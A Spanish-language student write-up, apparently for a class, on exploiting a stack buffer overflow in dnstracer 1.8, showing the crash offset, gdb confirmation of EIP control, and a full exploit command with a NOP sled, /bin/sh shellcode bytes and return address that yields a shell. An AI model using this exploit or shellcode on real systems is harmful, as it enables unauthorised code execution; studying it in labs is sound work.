Dnstracer 1.8

Lo primero que hice fue buscar dentro de la función main (aunque ya lo habíamos hecho en clase) la parte que es vulnerable a overflow. En este caso, dnstracer recibe como argumento el nombre de dominio, sin embargo, lo guarda como un tipo de dato NS_MAXDNAME

```
  GNU nano 2.2.6              File: dnstracer.c                          Modi

int main(int argc,char **argv) {
        int             ch;
        char *          server_name="127.0.0.1";
        char *          server_ip="0000:0000:0000:0000:0000:0000:0000:0000";
        char            ipaddress[NS_MAXDNAME];
        char            argv0[NS_MAXDNAME];
        int             server_root=0;
        int             ipv6=0;
```

Verificando en el archivo dnstracer_broker.h, este tipo de datos tiene un tamaño de 1024, por lo cual, en teoría, ese es el tamaño que debemos sobrepasar para causar un overflow.

```
#ifndef ns_c_none
#define ns_c_none       254
#endif
#ifndef ns_c_any
#define ns_c_any        255
#endif

#ifndef NS_MAXDNAME
#define NS_MAXDNAME     1024
#endif
```

Intenté hacer el ataque con 1024, pero no fue suficiente para causar el segmentation default. Incrementando la cantidad de caracteres encontré que con 1m53 comenzaba a salir dicho error.

```
ubuntu@ubuntu:~/Documents/dnstracer-1.8$ ./dnstracer `python -c "print 'A'*1053"
`
Tracing to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA[a] via 127.0.0.1, maximum of 3 retries
127.0.0.1 (127.0.0.1)
Segmentation fault (core dumped)
```

Sin embargo, eip se sobrescribía con 1057

```
(gdb) run `python -c "print 'A'*1053+'B'*4"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/ubuntu/Documents/dnstracer-1.8/dnstracer `python -c "pri
nt 'A'*1053+'B'*4"`

Breakpoint 1, main (argc=2, argv=0xbfffefa4) at dnstracer.c:1423
1423    int main(int argc,char **argv) {
(gdb) c
Continuing.
Tracing to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAABBBB[a] via 127.0.0.1, maximum of 3 retries
127.0.0.1 (127.0.0.1)

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
```

```
(gdb) i r eip
eip            0x42424242       0x42424242
```

A partir de ahí comencé a medir el tamaño para ingresar los nop que permitirían la entrada a la función de shellcode. En este caso, escogí la dirección 0xbffff3b0 para colocar el shellcode.

```
0xbffff380:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff390:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff3a0:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff3b0:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff3c0:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff3d0:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff3e0:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff3f0:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff400:   0x90909090   0x90909090   0x90909090   0x90909090
```

Una vez calculados los tamaños, ingresé el shellcode, la direccipon el Little endian que se ve resaltada con amarillo y basura para completar los 1057.

```
(gdb) run `python -c "print '\x90'*1000+'\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1
e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe
1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x4b\x4b\x4b\x4b'+'
\xb0\xf3\xff\xbf'*2+ 'A'*3"`
```

Una vez ejecutado (dentro de gdb) pude obtener la shell.